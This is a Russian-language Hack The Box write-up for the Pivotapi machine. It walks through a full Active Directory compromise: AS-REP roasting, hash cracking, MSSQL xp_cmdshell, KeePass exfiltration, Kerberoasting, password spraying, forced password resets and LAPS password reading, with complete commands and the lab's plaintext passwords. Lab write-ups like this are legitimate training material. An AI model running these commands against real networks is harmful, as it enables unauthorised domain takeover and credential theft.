HTB Pivotapi. Большой пентест Active Directory
Сегодня мы разберем «безумную» по сложности машину с Hack The Box. Она называется Pivotapi и посвящена пентесту Active Directory. Нам предстоит заняться OSINT, провести атаку AS-Rep Roasting, декомпилировать приложение на .NET, получить точку опоры через эксфильтрацию данных из Microsoft SQL, взломать базу KeePass, проэксплуатировать LAPS для повышения привилегий и поюзать BloodHound. Программа очень плотная, начинаем немедля!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Добавляем IP-адрес машины в /etc/hosts
:
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Мы нашли много открытых портов, давай пройдемся по порядку:
- 21 — служба FTP (доступен анонимный вход);
- 22 — служба SSH;
- 53 — служба DNS;
- 88 — служба авторизации Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC);
- 139 — служба имен NetBIOS;
- 389, 636, 3268, 3269 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 — служба удаленного вызова процедур (Microsoft RPC над HTTPS);
- 1433 — Microsoft SQL Server 2019;
- 9383 — служба шлюзов управления Active Directory.
В итоге мы получаем очень важную информацию. Во‑первых, мы можем работать со службой FTP без авторизации, а во‑вторых, SQL Server дал нам имена домена (LICORDEBELLOTA
) и текущей машины (PIVOTAPI
).
Давай скачаем все файлы с FTP-сервера для дальнейшего анализа. Сделаем это с помощью wget
:
В документах ничего важного для продвижения не нашлось, но тема интересная — они описывают способы эксплуатации различных уязвимостей. Но, как отмечается в любом курсе OSINT (разведка на основе открытых источников), если мы смогли получить какие‑либо документы, нас могут заинтересовать метаданные, а именно атрибуты «создатель» и «владелец». Из них иногда можно узнать имена, подходящие в качестве логинов. Смотреть эти данные можно разными методами, я воспользуюсь exiftool (устанавливается командой sudo apt install exiftool
).
Создав простой конвейер на Bash, получим из всех документов поля Creator
и Author
.
exiftool * | grep "Creator\|Author" | awk '{print $3}'
Откинув сомнительные записи, мы можем составить список из пяти возможных имен пользователей: saif
, byron
, cairo
, Kaorz
, alex
.
ТОЧКА ВХОДА. ASREP ROASTING
Так как на хосте работает Kerberos, мы можем проверить, существует ли какая‑то учетная запись. В этом нам поможет атака ASRep Roasting. Смысл ее в том, что мы посылаем на сервер аутентификации анонимный запрос для предоставления определенному пользователю доступа к какой‑либо услуге. Сервер в ответ:
- предоставляет хеш;
- отвечает, что у данного пользователя не выставлен флаг
UAF Don't Require PreAuth
; - говорит, что такого пользователя нет в базе Kerberos.
Выполнить атаку мы можем с помощью скрипта GetNPUsers, входящего в состав пакета скриптов impacket. Задаем скрипту следующие параметры: контроллер домена (-dc-ip
), способ аутентификации Kerberos (-k
), опция «без пароля» (-no-pass
), список пользователей (-usersfile
) и целевой хост в формате домен/хост
.
GetNPUsers.py -dc-ip 10.10.10.240 -no-pass -k -usersfile users.txt LICORDEBELLOTA/pivotapi.htb
Нам говорят, что, кроме пользователя Kaorz
, в базе Kerberos больше никого нет, причем для учетной записи Kaorz
сервер аутентификации вернул нам хеш! Давай разберемся, что это за хеши и почему их раздают кому попало.
Дело в том, что, когда клиент посылает сообщение c идентификатором пользователя на сервер аутентификации и запрашивает доступ к услуге для какого‑то пользователя, сервер аутентификации смотрит, есть ли пользователь в базе Kerberos, после чего проверяет его учетные данные. Если учетные данные неверны, сервер отвечает сообщением UAF Don’t Require PreAuth
.
Но есть одно ограничение: у учетной записи пользователя может быть активирован флаг DONT_REQ_PREAUTH
, который означает, что для данной учетной записи не требуется предварительная проверка подлинности Kerberos. Для этого пользователя учетные данные не проверяются и сервер аутентификации генерирует секретный ключ, хешируя пароль пользователя, найденный в базе данных. Получается, мы можем пробрутить хеш и узнать пароль пользователя!
Брутить хеш будем по словарю программой hashcat. При запуске нам нужно передать номер типа хеша (параметр -m
), поэтому сначала узнаем его, запросив справку и отфильтровав только нужный нам тип.
hashcat --example | grep krb5asrep -A2 -B2
Искомый номер — 18200. Теперь запускаем перебор, при этом в параметрах указываем перебор по словарю (-a 0
), тип хеша krb5asrep (-m 18200`), файл с хешем и словарь.
hashcat -a 0 -m 18200 hash.krb5asrep ~/wordlists/rockyou.txt
Очень быстро находим искомый пароль учетной записи Kaorz
. Так как у нас появились учетные данные, нужно попробовать с ними подключиться ко всем доступным ресурсам. FTP учетных данных не требует, поэтому проверим SMB. Для этого я обычно использую утилиту smbmap.
smbmap -u Kaorz -p Roper4155 -H 10.10.10.240
В выводе получим список доступных ресурсов SMB и разрешения для каждого. Чтобы долго не ходить по директориям и не искать интересные файлы, есть удобная возможность вывести все содержимое ресурсов рекурсивно. Для этого в smbmap нужно указать опцию -R
. Пролистав список, обращаем внимание на каталог HelpDesk
, который содержит исполняемый файл и два файла msg
, то есть какие‑то сообщения.
smbmap -u Kaorz -p Roper4155 -H 10.10.10.240 -R
Чтобы заполучить файлы, можем запустить любой клиент SMB. Я буду использовать smbclient, поскольку он тоже входит в набор impacket.
smbclient.py LicorDeBellota/Kaorz:[email protected]
ТОЧКА ОПОРЫ
Конвертация MSG
Файл .msg содержит электронное письмо в формате Microsoft Outlook и включает данные отправителя и получателя, тему и текст письма. Также в виде файла .msg может быть сохранена информация о встрече или ином событии из календаря Outlook, данные контакта из адресной книги, сведения о задаче. Его можно конвертировать в обычный текстовый формат с помощью утилиты msgconvert. Но сначала ее следует установить.
sudo apt install libemail-outlook-message-perl libemail-sender-perl
В первом сообщении говорится, что в 2010-е годы была установлена база Oracle, но в 2020 году решили перейти на MS SQL. При этом найденное приложение Reset-Service.exe
было создано для рестарта службы Oracle. Что здесь очень важно — это функция логина, то есть приложение работает с учетными данными.
Во втором сообщении упоминается блокировка службы WinRM и исходящего трафика по протоколам TCP, UDP и ICMP.
Анализ приложения, использующего вызов CMD
Перейдем к анализу третьего файла — исполняемого. Откроем его в любом дизассемблере (я использую IDA Pro) и первым делом глянем список импортируемых функций. Это позволит нам составить первое мнение об этой программе и примерно понять, для чего она нужна.
Обратим внимание на функцию ShellExecuteEx
, которая должна выполнять команды в командной строке. Еще здесь много функций для работы с файлами (DeleteFile
, CreateFile
, GetTempPathW
и прочие). Чтобы наглядно отследить работу с файлами и запуск команд, активируем Process Monitor. После запуска создадим фильтр, который будет отслеживать только наш целевой процесс.
Когда все будет готово, запустим исполняемый файл и просмотрим вывод Process Monitor.
В событиях мы видим создание файлов .tmp и запись (скорее всего, копирование) скрипта .bat. Далее создается процесс командного интерпретатора cmd.exe
. А раз он запускается, то мы можем воспользоваться CMDWatcher. Эта утилита будет приостанавливать процесс и показывать аргументы при запуске CMD в любых процессах. Запустим CMDWatcher, а потом анализируемое приложение. Мы увидим, как запускается приложение, а затем — как активируется сценарий bat.
Пройдем в директорию с запускаемым скриптом и увидим в ней сам скрипт и файл с расширением tmp.
Заглянем в скрипт. В начале видим проверку на запуск от имени определенного пользователя. Сразу сохраняем себе его имя — пригодится! Затем данные записываются в файл C:\programdata\oracle.txt
. Кодировка напоминает Base64.
После записи создается еще один файл — C:\programdata\monta.ps1
, он содержит код на PowerShell. Этот код считывает данные из файла C:\programdata\oracle.txt
, декодирует их из Base64 и записывает в C:\programdata\restart-service.exe
. Затем удаляются и файл с данными Base64, и скрипт на PowerShell и запускается новосозданный исполняемый файл restart-service.exe
. После выполнения он удаляется.
Давай получим этот исполняемый файл для дальнейшего анализа. Для этого немного модернизируем наш батник: в начале скрипта уберем проверку пользователей, а в конце — любые удаления файлов (команда del
), уберем также запуск создающегося исполняемого файла.
Запустим измененный скрипт, после чего проверим каталог C:\programdata
, там нас будет ждать файл с данными, скрипт на PowerShell и целевая программа.
Анализ приложения со скрытыми функциями
Исполняемый файл открываем в IDA Pro, чтобы посмотреть импортируемые функции. Но там не было ничего интересного, а для статического анализа файл великоват. Именно по этой причине я решил использовать приложение API Monitor. Оно может отображать все вызовы API-функций вместе с передаваемыми в них аргументами.
После запуска API Monitor нужно указать целевой исполняемый файл, для чего выбираем Monitor New Process. В разделе справа увидим все вызванные приложением функции.
Часто вызывается GetProcAddress
. Дело в том, что DLL может загружаться приложением не только статически (при запуске), но и динамически (во время выполнения) с помощью функции LoadLibrary
. А для получения адреса функции в загруженной DLL как раз используется функция GetProcAddress
, которая в качестве параметра получает имя импортируемой функции. Эта техника усложняет статический анализ, а именно скрывает важные функции из таблицы импорта.
Давай узнаем, какие функции хотел спрятать разработчик. Для этого необходимо установить фильтр, чтобы в выводе присутствовали только функции GetProcAddress
. В контекстном меню выбираем Include → API Name.
Сразу видим множество функций для работы с реестром, но это пока ничего не говорит. Чтобы сложить целостную картину, просмотрим абсолютно все загружаемые функции (это займет 5–10 минут). Во время анализа останавливаемся на CreateProcessWithLogonW
. Это важная функция!
Она создает новый процесс и его первичный главный поток. Новый процесс затем запускает заданный исполняемый файл в контексте системы безопасности определенного пользователя. Дело в том, что эта функция принимает учетные данные пользователя в качестве аргументов. Давай найдем ее вызов, чтобы получить эти параметры. Для этого выбираем в окне Display пункт Add Filter, а затем указываем условие API Name is CreateProcessWithLogonW
.
Обрати внимание на параметры lpUsername
и lpPassword
, где содержатся имя пользователя и его пароль. Так как это учетные данные для сервера базы данных, попробуем на нем и авторизоваться. Увы, моя первая попытка зайти как svc_oracle:#oracle_s3rV1c3!2010
провалилась — сервер ответил, что имя пользователя или пароль неверные.
Выполнение команд через MS SQL Server
Наша находка тем не менее небесполезна! Изучим эти логин и пароль внимательнее. Часть oracle
— это используемое ПО, а 2010
— год установки. По аналогии с данными для уже отключенной службы Oracle сделаем учетные данные для MS SQL:
- пользователь по умолчанию —
sa
; - пароль складывается по шаблону из используемой технологии и года установки (которые мы узнали из сообщения):
#mssql_s3rV1c3!2020
.
Для подключения используем mssqlclient из пакета скриптов impacket.
impacket-mssqlclient [email protected]
После подключения мы можем работать из командной строки, для чего используем функцию xp_cmdshell
.
ПРОДВИЖЕНИЕ
Первый пользователь — svc_mssql и техника runas
Первым делом получим более удобную оболочку, которая к тому же будет иметь функцию загрузки файлов — mssql_shell. В самом начале скрипта нам нужно установить свои параметры, такие как логин, пароль и адрес хоста.
Выполним код и получим уже более удобную оболочку.
Но, попробовав загрузить любой файл, получаем ошибку.
Из лога мы видим пояснение, что ошибка происходит в строке 52. Снова открываем исходный код и меняем позицию, отвечающую за кодирование Base64, подключив нужную библиотеку.
b64enc_data = b"".join(base64.encodestring(data).split()).decode()
b64enc_data = b"".join(base64.b64encode(data).split()).decode()
Заново подключимся к хосту и повторим загрузку файла командой UPLOAD
. В этот раз она пройдет успешно.
На хосте обнаружим безумное количество пользователей — аж глаза разбегаются! Но среди них есть svc_mssql
, пароль которого нам известен. Однако его домашняя директория нам недоступна, так как мы работаем не в его контексте.
Для выполнения команд в контексте другого пользователя можно использовать кастомные программы типа runas. К примеру, эту реализацию программы на C#, которая запускается из PowerShell.
Загрузим этот скрипт на удаленный хост и выполним с помощью PowerShell. В качестве параметров передаем домен, логин и пароль, а также выполняемую команду — в нашем случае получение списка файлов в домашней директории пользователя.
powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' -Command 'dir C:\Users\svc_mssql\Desktop'"
Команда выполнена успешно, а мы получили путь дальнейшего движения.
Второй пользователь — 3v4Si0N и взлом KeePass
В текстовом файле сказано, что нам нужно перейти с MS SQL на SSH. Второй файл представляет собой базу хранилища паролей KeePass, поэтому нам нужно перенести его на локальный хост и попробовать вскрыть. Для эксфильтрации данных закодируем файл в Base64 с помощью certutil, а потом скопируем полученный текст и декодируем уже на локальном хосте.
powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' -Command 'certutil -encode C:\Users\svc_mssql\Desktop\credentials.kdbx C:\Temp\c.txt'"
cat creds.kdbx.b64 | base64 -d > credentials.kdbx
Чтобы открыть этот файл, нам нужно знать пароль, хеш которого есть в файле зашифрованной базы. Если ты работаешь в специализированном дистрибутиве вроде Kali Linux, то у тебя уже есть под рукой набор скриптов для извлечения хешей паролей из файлов разных форматов.
/usr/sbin/keepass2john credentials.kdbx
А теперь поместим этот хеш в файл и переберем его с помощью John the Ripper.
john --wordlist=../tools/rockyou.txt kdbx.hash
Далее, если у тебя есть KeePass (а если нет, то ставь его командой apt install keepassx
), открывай файл и ищи там пароль пользователя 3v4Si0n
.
Спреим найденный пароль для всех пользователей по протоколам SSH и SMB с помощью crackmapexec. Пароль подошел как к SSH, так и к SMB, поэтому авторизуемся и забираем первый флаг.
crackmapexec smb pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23' --continue-on-success
crackmapexec ssh pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23' --continue-on-success
Третий пользователь — Dr.Zaiuss и атака Kerberoasting
Куда двигаться дальше? Инструменты вроде WinPEAS и PowerUp ничего не дали, значит, нужна более продвинутая разведка, в которой не обойдется без использования очень крутой программы — BloodHound. Она использует теорию графов для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко найти очень сложные пути атаки, которые иначе было бы невозможно быстро идентифицировать.
BloodHound
Изначально саму нагрузку, реализованную на PowerShell или C#, нужно было запускать на целевом хосте. Но есть и версия на Python, которую можно использовать прямо с Linux. Скачаем ее с GitHub и установим:
git clone https://github.com/fox-it/BloodHound.py.git
А теперь соберем информацию с целевого хоста, благо это не займет много времени. В параметрах указываем учетные данные для подключения, адрес хоста и тип собираемой информации — нам нужна вся (параметр -c
, значение all
).
bloodhound-python -d LicorDeBellota.htb -u 3v4Si0N -p 'Gu4nCh3C4NaRi0N!23' -gc pivotapi.licordebellota.htb -c all -ns 10.10.10.240
В логах видим, сколько доменов, лесов и компьютеров найдено, сколько пользователей и групп получено. В результате работы BloodHound в текущей директории появится несколько файлов. Для работы с ними нужно установить СУБД Neo4j и графическую оснастку bloodhound, которая будет рисовать графы связей.
sudo apt install neo4j bloodhound
Запустим установленную СУБД командой sudo neo4j console
.
После сообщения об успешном старте зайдем на http://localhost:7474/
через браузер. Нам сразу предложат установить пароль. Делаем это, запускаем BloodHound (команда bloodhound
в командной строке) и авторизуемся с только что установленным паролем. Когда откроется пустое окошко, закидываем в него файлы, полученные в результате работы bloodhound-python. А затем в графе поиска указываем группу пользователей. На экране будут отображены все пользователи из этой группы.
Найдем в этом списке всех пользователей, контроль над которыми мы уже имеем: Kaorz
, svc_mssql
, 3v4Si0N
. После выбора этого пользователя в контекстном меню помечаем его как уже подконтрольного — Mark User as Owned. На иконке пользователя должен появиться череп. Затем пройдем в графу аналитики и попросим BloodHound найти путь продвижения к другим пользователям от уже взломанных — опция Shortest Path from Owned Principals. Так мы получим маршрут от пользователя 3v4Si0N
.
Мы видим, что объект 3V4SI0N
имеет право GenericAll
на объект DR.ZAIUSS
. Эта привилегия означает полный контроль одного объекта над другим, что позволяет манипулировать свойствами подконтрольного объекта. Два популярных варианта в этом случае — атака Kerberoasting или смена пароля целевой учетной записи. Мы пойдем по первому пути.
Атака Kerberoasting
Эта атака возможна потому, что мы можем установить объекту целевой учетной записи SPN-имя. Реализация протокола Kerberos в Windows использует имена участников службы (SPN) для определения того, какую учетную запись задействовать для шифрования билета службы. В Active Directory существует два варианта SPN: SPN на основе хоста и произвольные SPN. Первый вариант SPN связан с учетной записью компьютера домена, а второй обычно (но не всегда) — с учеткой пользователя домена.
Проще говоря, в случае запроса билета он будет зашифрован паролем учетной записи, SPN которой было предоставлено. А мы можем установить SPN для этой учетной записи, тем самым вынудив шифровать билет паролем учетной записи Dr.Zaiuss
. Затем мы его просто пробрутим.
Чтобы удобнее манипулировать свойствами объектов Active Directory, загрузим на хост PowerView с помощью scp.
scp PowerView.ps1 '[email protected]:C:\Users\3v4Si0N\Documents'
А затем назначим для подконтрольной учетной записи любое SPN, к примеру nonexistent/RALF
.
powershell -c ". .\PowerView.ps1; Set-DomainObject -Identity Dr.Zaiuss -SET @{serviceprincipalname='nonexistent/RALF'}"
Проверить установленное SPN можно следующей командой. Она запросит все SPN из домена.
powershell -c ". .\PowerView.ps1; Get-NetUser -SPN | select samaccountname,serviceprincipalname"
SPN установлено, и пришло время получить билет. Я это сделаю удаленно с помощью пакета скриптов impacket. При подключении требуются учетные данные пользователя домена.
GetUserSPNs.py -request -dc-ip pivotapi.htb LicorDeBellota.htb/3v4Si0N
Данный билет легко брутится с помощью hashcat, для этого нужно лишь указать режим 13100 (параметр -m
).
hashcat -a 0 -m 13100 ./kerb.hash ../tools/rockyou.txt
Так мы берем под контроль еще одного пользователя. Не забываем отметить это в BloodHound.
Четвертый пользователь — superfume и password spraying
Снова применяем найденный пароль для всех пользователей. При переборе SSH ничего найти не удалось, а вот в случае с SMB пароль подошел даже к двум пользователям!
crackmapexec smb pivotapi.htb -u users.txt -p 'qwe123QWE!@#' --continue-on-success
Осталось только понять, как авторизоваться от лица этого пользователя, ведь к SSH пароль не подошел. Однако пользователь является членом группы WinRM, о чем нам говорит граф связей BloodHound.
Нахождение в этой группе позволяет нам получить управление через PSSession прямо с удаленной машины.
$pass = ConvertTo-SecureString 'qwe123QWE!@#' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential('superfume', $pass)
$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred -Authentication Negotiate
Пятый пользователь — jari и декомпиляция .NET
Среди групп пользователя также есть и группа Developers
. В корне диска C:
есть директория с тем же названием, доступная только этой группе. Там лежат каталоги двух пользователей: superfume
и jari
. В своем мы ничего не находим, а вот у другого пользователя есть исполняемый файл, скорее всего написанный на C#. Сразу просмотрим этот код, вдруг найдем еще какие‑нибудь учетные данные.
Мы все же находим место, где мог бы быть пароль. Но его там нет. Но возможно, это прототип, а не финальное приложение. К тому же программы на C# очень легко декомпилируются, поэтому не будем упускать такую возможность. Для декомпиляции и анализа советую использовать dnSpy. Я перешел на виртуальную машину Windows, запустил dnSpy и загрузил в нее бинарный файл. В самом начале программы находим какую‑то строку.
Вряд ли это пароль, но все равно сохраним. Сразу за этой строкой расположен массив данных, который подлежит расшифровке по алгоритму RC4. И у нас есть возможность просмотреть строку после того, как процесс будет закончен. Для этого устанавливаем точку останова на строке с функцией Decrypt
и запускаем отладку приложения.
Перешагиваем через эту функцию и в таблице локальных переменных получаем расшифрованный массив.
Скопируем его и используем код на Python, чтобы представить числа в виде символов.
Мы получаем какую‑то строку. Снова запустим спреиться найденный пароль.
crackmapexec smb pivotapi.htb -u users.txt -p 'Cos@Chung@!RPG' --continue-on-success
И, как и ожидалось, захватим пользователя jary
. Для получения управления получим сессию PowerShell уже знакомым нам способом.
$pass = ConvertTo-SecureString 'Cos@Chung@!RPG' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential('jari', $pass)
$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred -Authentication Negotiate
Шестой пользователь — gibdeon
После получения контроля над новым пользователем не забываем отметить наше достижение в BloodHound.
После перестроения графа обнаружим новый путь к захвату еще одного пользователя. Это возможно, потому что у нас есть право на сброс и изменение пароля (ForceChangePassword
) пользователя gibdeon.
Давай изменим свойство AccountPassword
объекта GIBDEON
, используя PowerView. В качестве пароля установим Password123!
.
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity GIBDEON -AccountPassword $UserPassword
После изменения пароля проверим его для служб SSH и SMB.
Мы можем выполнять команды от имени текущего пользователя.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Захватили нового пользователя — отметили это в BloodHound и перестроили граф.
На этот раз BloodHound построил маршрут к контексту с высокими привилегиями за счет пароля LAPS. Группа, в которой мы находимся, имеет привилегии на управление группой LAPS READ
. Добавим себя в эту группу.
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('LicorDeBellota.htb\GIBDEON', $SecPassword)
Add-DomainGroupMember -Identity 'Laps Read' -Members 'Gibdeon' -Credential $Cred
И сразу проверим членов этой группы.
Get-DomainGroupMember -Identity 'Laps Read'
Как видишь, наш пользователь был добавлен в целевую группу.
LAPS
LAPS (Local Administrator Password Solution) позволяет централизованно управлять паролями администраторов на всех компьютерах домена и хранить информацию о пароле и дате его смены непосредственно в объектах типа Computer в Active Directory. И наша новая группа дает нам возможность прочитать этот пароль администратора.
Get-DomainObject pivotapi -Credential $Cred -Properties "ms-mcs-AdmPwd",name
Мы получили пароль локального админа и используем psexec, чтобы окончательно захватить хост.
psexec.py [email protected]
Мы наконец‑то покорили эту машину!
- 🦋 Слитая информация - @Leakinfo
- 🎭 Наша группа > - Точка входа
- ❤️ Поблагодарить Bitcoin